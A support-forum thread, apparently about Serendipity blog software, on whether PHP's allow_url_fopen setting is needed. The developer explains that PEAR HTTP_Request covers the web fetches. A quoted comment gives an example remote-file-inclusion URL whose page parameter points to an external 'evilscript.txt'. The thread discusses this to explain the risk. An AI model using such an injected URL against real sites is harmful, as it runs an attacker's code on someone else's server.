allow_url_fopen setting needed?

[francisco]

allow_url_fopen shows as recommended. What functionality would be lost if this is missing.

Already asked my provider to change, but wondering if I can start to install while this is still off.

Is there a place that shows what functionality would be lost if missing each of the "recommended" settings?

[garvinhicking]

There currently is no documentation about the various places.

Allow_url_fopen is needed to make Trackbacks and download files over the web; however the PEAR:HTTP_Request package has been put into most of those places so that you should still achieve most of the functionality you would normally use without allow_url_fopen.

Certain plugins however may require allow_url_fopen, that depends on the plugins. Basic idea is: If a plugin loads anything via HTTP, it may not work without allow_url_fopen.

Regards,
Garvin

[francisco]

There currently is no documentation about the various places.

Any interest on such a document?
I may start it up.. and with the help of others perhaps it can become an online help for the installation screen.

[garvinhicking]

Yes, that would be a nice addition!

A point to start from is to search in all core and plugin files for "fopen", "file_get_contents" and "Request.php" to see where files are fetched through the web.

We don't do "include" calls over the web, so that should be it.

Regards,
Garvin

[gwilsonmail]

My host turns allow_url_fopen off by default.

i looked around the web and found that it's recommended that allow_url_fopen be turned off, unless you use it.

obviously we use it, but the following text bothers me. Is there a s9y threat similar to the example in the following?

FROM http://www.technosailor.com/lessons-in- ... -execution

Robert Mathews said on September 7, 2005 at 5:21 pm
Here’s a simple example of why allow_url_fopen is a problem in the real world.

I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

All it takes is someone to come along and type “http://www.example.com/index.php?page=h ... script.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

Moral: allow_url_fopen should *always* be off unless you need it.

Rob

[garvinhicking]

Hi!

s9y does not do code inclusion via "include", so your security issue doesn't affect us.

Since last year, s9y has improved and does not require allow_url_fopen anymore. All core and external plugins have been crafted to use PEAR HTTP_Request, which uses socket connections.

HTH,
Garvin

[gwilsonmail]

thats good to hear.

The installation check screen needs an update because it hints at the fact that this is a requirement.

thanks for the quick response.